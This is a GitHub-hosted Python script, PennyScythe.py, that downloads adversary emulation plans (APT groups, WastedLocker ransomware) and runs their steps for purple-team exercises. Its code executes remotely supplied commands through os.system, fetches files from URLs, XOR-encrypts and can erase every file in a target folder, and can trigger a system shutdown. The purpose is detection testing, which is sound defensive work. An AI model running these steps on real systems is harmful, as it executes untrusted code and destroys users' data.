-
Notifications
You must be signed in to change notification settings - Fork 2
/
PennyScythe.py
610 lines (499 loc) · 24.3 KB
/
PennyScythe.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
#!/usr/bin/env python3
#
# PennyScythe.py is a Python3 script that ingests and runs adversarial emulation
# plans from SCYTHE's Community Threats Repository. Its goal is to aid in
# Purple Teaming exercises. Its functionality is not limited to SCYTHE's
# Community Threats, and will support any modules developed with similar syntax.
#
# https://github.com/scythe-io/community-threats
#
# Many of SCYTHE's Community Threats work with this script. Support status is
# indicated for each module with --list.
#
# Usage: python[.exe] PennyScythe.py -t EvilCorp/EvilCorp-WastedLocker -r
#
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
#
# DISCLAIMER: I don't work for SCYTHE and this project is in no way associated
# with or endorsed by scythe.io. Use at your own risk! Unicorns welcome!
#
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
#
# Author : Mike Gualtieri
# Blog : https://www.mike-gualtieri.com
# Twitter : https://twitter.com/mlgualtieri
# GitHub : https://github.com/mlgualtieri/PennyScythe
#
import os, time, datetime, sys, urllib.request, json, shutil, textwrap, getopt
# APT19/APT19 (partial support - no printsreen)
# APT33/APT33 (not supported)
# Buhtrap/Buhtrap-DNS (not supported)
# Buhtrap/Buhtrap-HTTPS (not supported)
# CozyBear/CozyBear-Step1 (supported)
# CozyBear/CozyBear-Step2 (partial support - no uploader)
# DeepPanda/Deep_Panda_Desrubi (supported)
# Orangeworm/Orangeworm (supported)
# PowerShell/PowerShellAndEncoding (supported)
# Ransomware/Ransomware_Example (supported)
# EvilCorp/EvilCorp-WastedLocker (supported)
# SpeakUp/SpeakUp (partial support - no uploader)
threats = {
"APT19/APT19": {
"display_name": "APT19 for #ThreatThursday",
"operating_system_name": "Windows",
"description": "APT19",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/APT19/APT19_scythe_threat.json",
"support": "Partial Support"
},
"APT33/APT33": {
"display_name": "APT33",
"operating_system_name": "Windows",
"description": "APT33 is a suspected Iranian threat group that has carried out operations since at least 2013.",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/APT33/APT33_scythe_threat.json",
"support": "Not Supported"
},
"Buhtrap/Buhtrap-DNS": {
"display_name": "Buhtrap-DNS",
"operating_system_name": "Windows",
"description": "Long-haul C2 over DNS for the persistence portion of Buhtrap Adversary Emulation",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/Buhtrap/Buhtrap-DNS_scythe_threat.json",
"support": "Not Supported"
},
"Buhtrap/Buhtrap-HTTPS": {
"display_name": "Buhtrap-HTTPS",
"operating_system_name": "Windows",
"description": "Short-haul C2 over HTTPS for the collection portion of Buhtrap Adversary Emulation",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/Buhtrap/Buhtrap-HTTPS_scythe_threat.json",
"support": "Not Supported"
},
"CozyBear/CozyBear-Step1": {
"display_name": "CozyBear-Step1",
"operating_system_name": "Windows",
"description": "Cozy Bear Step 1 of the MITRE ATT&CK Evaluations Adversary Emulation Plan",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/CozyBear/CozyBear-Step1_scythe_threat.json",
"support": "Supported"
},
"CozyBear/CozyBear-Step2": {
"display_name": "CozyBear-Step2",
"operating_system_name": "Windows",
"description": "Cozy Bear Step 2 of the MITRE ATT&CK Evaluations Adversary Emulation Plan",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/CozyBear/CozyBear-Step2_scythe_threat.json",
"support": "Partial Support"
},
"DeepPanda/Deep_Panda_Desrubi": {
"display_name": "Deep Panda Desrubi",
"operating_system_name": "Linux",
"description": "Linux Variant of Desrubi",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/DeepPanda/Deep_Panda_Desrubi_scythe_threat.json",
"support": "Supported"
},
"EvilCorp/EvilCorp-WastedLocker": {
"display_name": "WastedLocker",
"operating_system_name": "Windows",
"description": "WastedLocker is the ransomware that was used by EvilCorp in the July 2020 attack against Garmin.",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/EvilCorp/WastedLocker_scythe_threat.json",
"support": "Supported"
},
"PowerShell/PowerShellAndEncoding": {
"display_name": "PowerShellAndEncoding",
"operating_system_name": "Windows",
"description": "For testing detection of powershell.exe and encoding",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/PowerShell/PowerShellAndEncoding_scythe_threat.json",
"support": "Supported"
},
"Orangeworm/Orangeworm": {
"display_name": "Orangeworm",
"operating_system_name": "Windows",
"description": "Orangeworm is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015.",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/Orangeworm/Orangeworm_scythe_threat.json",
"support": "Supported"
},
"Ransomware/Ransomware_Example": {
"display_name": "Ransomware Example",
"operating_system_name": "Windows",
"description": "This Threat Template provides an example ransomware attack, but instead of using actual user data, it creates a directory with files specifically for the purpose of encrypting them. It then downloads a ransom note from the public internet.",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/Ransomware/Ransomware_Example_scythe_threat.json",
"support": "Supported"
},
"SpeakUp/SpeakUp": {
"display_name": "SpeakUp for OSX",
"operating_system_name": "MacOS",
"description": "An example Threat replicating some of the behaviors of the SpeakUp trojan, as found by Check Point Research (https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/). Note that this threat is not persistent.",
"url": "https://raw.githubusercontent.com/scythe-io/community-threats/master/SpeakUp/SpeakUp_for_OSX_scythe_threat.json",
"support": "Partial Support"
}
}
def listThreats():
print('')
print("Available Modules:")
for threat in threats:
print("\n [*] ", threat, sep='')
print("\tName :", threats[threat]['display_name'])
print("\tPlatform :", threats[threat]['operating_system_name'])
print("\tStatus :", threats[threat]['support'])
# Format/output description
desc_out = "Description : " + threats[threat]['description']
desc_wrapper = textwrap.TextWrapper(width=80, initial_indent=' ' * 8, subsequent_indent=' ' * 8)
desc_out = desc_wrapper.fill(text=desc_out)
print(desc_out)
sys.exit()
def outputTimestamp():
print(" > Timestamp: [{:%Y-%m-%d %H:%M:%S}]".format(datetime.datetime.now()))
def doRun(request, default_sleep, debug):
print(" > Running:", request)
time.sleep(default_sleep)
### Debug
if debug == True:
request = "echo OK"
os.system(request)
def doFile(request, default_sleep, debug):
print(" > File:", request)
time.sleep(default_sleep)
req = request.split(" ")
if "--create" in req:
path = req[ req.index("--path") + 1].strip('\"')
size = req[ req.index("--size") + 1]
count = int(req[ req.index("--count") + 1])
# Only specify for Windows
if "USERPROFILE" in os.environ:
path = path.replace("%USERPROFILE%", os.environ["USERPROFILE"])
### Debug
if debug == True:
path = "/tmp/scythe/important_files.wasted"
# Convert size to bytes
if size.endswith("MB"):
size = int(size[:-2]) * 1024 * 1024
# Creating file(s)
for i in range(count):
f = open(path + str(i+1), "wb")
f.seek(size - 1)
f.write(b"\0")
f.close()
# Insert a short delay between each file creation
time.sleep(0.01)
# A standard Python XOR implementation
def doXOR(data, key):
return bytearray(a^b for a, b in zip(*map(bytearray, [data, key])))
# We'll use XOR encryption since it's simple to implement
def doCrypt(request, default_sleep, debug):
print(" > Crypt:", request)
time.sleep(default_sleep)
req = request.split(" ")
target = req[ req.index("--target") + 1].strip('\"')
password = req[ req.index("--password") + 1].strip('\"')
# Only specify for Windows
if "USERPROFILE" in os.environ:
target = target.replace("%USERPROFILE%", os.environ["USERPROFILE"])
if debug == True:
target = "/tmp/scythe"
doErase = False
doRecurse = False
if "--erase" in req:
doErase = True
# Ignore recurse for now
if "--recurse" in req:
doRecurse = True
allfiles = os.listdir(target)
for filename in allfiles:
outfile = filename + ".xor"
outfile = os.path.join(target, outfile)
filename = os.path.join(target, filename)
with open(filename, mode='rb') as file:
data = file.read()
enc = doXOR(data, password.encode())
out = open(outfile, 'wb+')
out.write(enc)
out.close()
if doErase == True:
os.remove(filename)
def doDownloader(request, default_sleep, debug):
print(" > Download :", request)
time.sleep(default_sleep)
req = request.split(" ")
src = req[ req.index("--src") + 1].strip('\"')
dest = req[ req.index("--dest") + 1].strip('\"')
# Only specify for Windows
if "USERPROFILE" in os.environ:
dest = dest.replace("%USERPROFILE%", os.environ["USERPROFILE"])
# If URL is from pastebin, make sure we pull the "raw" file
if "pastebin.com/raw/" not in src:
src = src.replace("pastebin.com/","pastebin.com/raw/")
### Debug
if debug == True:
dest = "/tmp/scythe/wasted_info.txt"
print(" Source :", src)
print(" Dest :", dest)
r = urllib.request.Request(src)
rs = urllib.request.urlopen(r)
data = rs.read()
out = open(dest, 'wb')
out.write(data)
out.close()
# Not functional (yet)
def doUploader(request, default_sleep, debug):
print(" > Upload :", request)
time.sleep(default_sleep)
req = request.split(" ")
rpath = req[ req.index("--remotepath") + 1].strip('\"')
# Only specify for Windows
if "USERPROFILE" in os.environ:
dest = dest.replace("%USERPROFILE%", os.environ["USERPROFILE"])
### Debug
if debug == True:
dest = "/tmp/"
print(" Upload to :", rpath)
# Need to determine how to get the source file
#shutil.move(source, destination)
def doController(request, default_sleep, debug):
print(" > Controller :", request)
time.sleep(default_sleep)
if request == "--shutdown":
print("\n\nController is requesting to initiate a shutdown. Proceed? [y/N] ", end="")
theInput = input().lower()
if theInput == "y":
print("Shutting down...")
time.sleep(default_sleep)
os.system("shutdown /s /t 0")
else:
print("Skipping shutdown...")
def startEmulation(emulation_plan_url, default_sleep, test_threat, debug):
# Keep track of supported/unsupported modules
supported = 0
unsupported = 0
with urllib.request.urlopen(emulation_plan_url) as url:
emulation_plan = json.loads(url.read().decode())
# Format/output description
desc_out = "Description : " + emulation_plan["threat"]["description"]
desc_wrapper = textwrap.TextWrapper(width=80, initial_indent='', subsequent_indent=' ' * 14)
desc_out = desc_wrapper.fill(text=desc_out)
print("Threat :", emulation_plan["threat"]["display_name"])
print("Platform :", emulation_plan["threat"]["operating_system_name"].capitalize())
print(desc_out)
# Platform test
# Allow to proceed for --debug and --compat modes
if debug is False:
if emulation_plan["threat"]["operating_system_name"] == "windows" and os.name != 'nt':
if test_threat == False:
print("\n[!] Error: This threat requires Windows")
sys.exit()
else:
print("\n[!] Warning: This threat requires Windows")
elif emulation_plan["threat"]["operating_system_name"] == "linux" and os.name != 'posix':
if test_threat == False:
print("\n[!] Error: This threat requires Linux")
sys.exit()
else:
print("\n[!] Warning: This threat requires Linux")
elif emulation_plan["threat"]["operating_system_name"] == "macos" and os.name != 'darwin':
if test_threat == False:
print("\n[!] Error: This threat requires MacOS")
sys.exit()
else:
print("\n[!] Warning: This threat requires MacOS")
print('')
if test_threat == False:
print("\nReady to start? [Y/n] ", end="")
else:
print("\nReady to test? [Y/n] ", end="")
# Check for Y/n
doStart = input().lower()
if doStart == "n":
sys.exit()
if test_threat == False:
print("\nStarting emulation...")
for i in emulation_plan["threat"]["script"]:
step = emulation_plan["threat"]["script"][i]
if "type" in step:
if step["type"] == "message" or step["type"] == "delay":
# Skip over 'initialization' and 'loader' steps, handle 'delay' separately
#valid_modules = ["run","file","crypt","downloader","uploader","controller", "loader"]
# Uploader not a valid module (yet)
valid_modules = ["run","file","crypt","downloader","controller", "loader"]
if step["type"] == "delay":
supported += 1
if test_threat == True:
if debug == True:
print("Module", step["type"], ": Supported...")
else:
print(" > Sleeping:", step["time"], "seconds...")
time.sleep(int(step["time"]))
outputTimestamp()
elif step["module"] in valid_modules:
supported += 1
if test_threat == False:
if "rtags" in step:
for tag in step["rtags"]:
_tag = tag.split(":")
if(_tag[0] == "att&ck-technique"):
print("\n Emulating ATT&CK Technique : ", _tag[1], " [https://attack.mitre.org/techniques/", _tag[1] ,"]", sep = "")
if "module" in step:
# Ignore 'loader'
if step["module"] != "loader":
if test_threat == True:
if debug == True:
print("Module", step["module"], ": Supported...")
else:
if step["module"] == "run":
doRun(step["request"], default_sleep, debug)
outputTimestamp()
elif step["module"] == "file":
doFile(step["request"], default_sleep, debug)
outputTimestamp()
elif step["module"] == "crypt":
doCrypt(step["request"], default_sleep, debug)
outputTimestamp()
elif step["module"] == "downloader":
doDownloader(step["request"], default_sleep, debug)
outputTimestamp()
elif step["module"] == "uploader":
doUploader(step["request"], default_sleep, debug)
outputTimestamp()
elif step["module"] == "controller":
doController(step["request"], default_sleep, debug)
outputTimestamp()
else:
unsupported += 1
print("[!] Warning: Module", step["module"], "is not supported...")
if test_threat == True:
if unsupported == 0:
print('')
print("Awesome! This threat appears to be fully supported!")
print('')
elif unsupported == 0:
print('')
print("This threat appears to be partially supported!")
print('')
else:
print('')
print("Bummer. This threat is not fully supported.")
print('')
print("Done!")
def banner():
print('')
print(' `-://+sssyyyysso/:-.` ')
print(' `-/shmNmmdhhyoooooo+osyhdmNmhs+:. ')
print(' `:ohmmmhso:` `:/+ymMds:` ')
print(' :ymNdo/. `.--:::::--..` ./shmy/` ')
print(' -ommmo. ./oydNNMMMMMMMNMMMNNNmdhso/./:-.:smy/ ')
print(' :ymd+.` ./ymNMNmmdhhhyyhhhdmNMMMMMMMMMN+Nym `/hdo` ')
print(' -ydh/` `/shyo/-.``` ````.:+shmMMsdmNo `+ho` ')
print(' `omd: ..` ``::myN` `/y+` ')
print(' :hm+` ` :mh. `:s- ')
print(' ohh. -/+shh //////////- dMs `o/ ')
print(' `sNs`.shmddhd- .MMMMMMMMMMo :MN. /+ ')
print(' `+h+ -sshddhhy: ./mMMMMMMMMMMo hMs -+ ')
print(' /s: -o+yddhhs: yhdNMMMMMMMMMMMMo -MN. -+ ')
print(' :s/ .o:-oyhhy` `MMMMMMMMMMMMMMMMo hMy .yo:` -- ')
print(' `/y +:+syyhy. `MMMMMMMMMMMMMMMMo -MM. `ssyyyo: :` ')
print(' :y. :o-+-+sh: `MMMMMMMMMMMMMMMMo yMy :yyys/yh` - ')
print(' -h s//:-:+o `MMMMMMMMMMMMMMMMo .MM- sssosyyo + ')
print(' +/ -+:+:-:o. ::::yMMMMMMMMMMMo yMh :sssoyyy` --')
print(' h` :o-/-//o +MMMMMMMMMMMo .MM- syysyyy- .')
print(' d +o--:/:: +MMMMMMMMMMMo sMh +oyssyy/ `')
print('`m +o./:++/ +MMMMMMMMMMMo .NM- :oy:oyy+ `')
print('`m +y.:./+/ +MMMMMMMMMMMo sMh +o:--sm+ .')
print(' d` :s:/-:o+ +MMMMMMMMMMMo`NM: o+:-/sm: -')
print(' y/ `yo:/:o/- +MMMMMMMMMMMooMd -so/+oyh` `')
print(' /y ss/s:o++ oMMMMMMMMMMMyNM: o+o/yoyo ` ')
print(' /d/ -s:o:-oo- ```-mMMMMMMMMMMMNMm`` :s/o/oom. . ')
print(' -hm. +syo++s:. ommNMMMMMMMMMMMMMMNmo :o+/ohoy+ `` ')
print(' `odh` syy:/oyo sMMMMMMMMMMMMMMMMMMMy :y/osooyo . ')
print(' -ydy` +ysh/s+/ sMMMMMMMMMMMMMMMMMMMy `/+/o+hoss` - ')
print(' :oms -sho+os sMMMMMMMMMMMMMMMMMMMy -s+++ysoss` :` ')
print(' :ymy` -+so+: sMMMMMMMMMMMMMMMMMMMy .ososs+ysh+ `-` ')
print(' :dNh- `:+h+` /yyyyyyyyyyyyyyyyyyy+ `:so+y+sysy- .:` ')
print(' .ydmo` `/y+. .sysysdhhs:` `+- ')
print(' /hmh/` :ss:` `oysymdhs/ `/o` ')
print(' `ommd+- `/yy+. `./sddhhy+:` -/o. ')
print(' `odmNs-` `:+ ``-:syhy+:.` `-oy: ')
print(' `+dNNNs:` .syyyo/-` `./yds. ')
print(' -ohMNNyo:` `.:ohNmy:` ')
print(' .+yNMMMmhhso//:-..` `-+oydNMNmy+. ')
print(' -/sdNMMMMMMMMMNmmmdddmmNNMMMMMmy+:` ')
print(' .:/osyddmNNNNNNmmdhys+:.` ')
print('')
print(' -= PennyScythe =-')
print(' -= Adversarial Emulation for a Penny or Less! =-')
print('')
print('This project is in no way associated with or endorsed by SCYTHE [scythe.io]!')
# Print basic usage
def usage():
print('')
print('usage: PennyScythe.py -t <threat> -r [-u <url>] [-s 5] [-c] [-d] [-h] [-l] [-r]')
print('')
# Display verbose help
def showhelp():
usage()
print('Main options:')
print(' -c, --compat Test the specified --threat or --url for compatibility')
print(' -d, --debug Turn on debug options likely only useful to the author')
print(' of this script')
print(' -h, --help')
print(' -l, --list List all available --threat modules')
print(' -r, --run Run the specified --threat or --url')
print(' -s, --sleep <seconds> Sleep time in seconds between steps of the executed')
print(' --threat or --url; default is 5')
print(' -t, --threat <threat> Specify a threat to test --compat or --run;')
print(' (to view all available threat modules use --list)')
print(' -u, --url <url> Supply a URL to a prepared threat plan')
print()
def main(argv):
# Check to see if command line args were sent
if not argv:
banner()
usage()
sys.exit()
# Default vars
debug = False
default_sleep = 5
threat = ""
run_threat = False
test_threat = False
emulation_plan_url = ""
# Process command line args
try:
opts, args = getopt.getopt(argv,"cdhlrs:t:u:",["compat","debug","help","list","run","sleep=","threat=","url="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ('-h','--help'):
banner()
showhelp()
sys.exit()
elif opt in ("-d", "--debug"):
debug = True
elif opt in ("-l", "--list"):
banner()
listThreats()
sys.exit()
elif opt in ("-t", "--threat"):
threat = arg
elif opt in ("-u", "--url"):
emulation_plan_url = arg
elif opt in ("-s", "--sleep"):
default_sleep = int(arg)
elif opt in ("-r", "--run"):
run_threat = True
elif opt in ("-c", "--compat"):
test_threat = True
else:
usage()
sys.exit(2)
# Set our --threat
if threat in threats:
if "url" in threats[threat]:
emulation_plan_url = threats[threat]['url']
if (run_threat == True or test_threat == True) and emulation_plan_url != "":
try:
banner()
print('')
startEmulation(emulation_plan_url, default_sleep, test_threat, debug)
except KeyboardInterrupt:
# Gracefully exit on ctrl-c
print("\nBye!")
pass
else:
usage()
if __name__ == "__main__":
main(sys.argv[1:])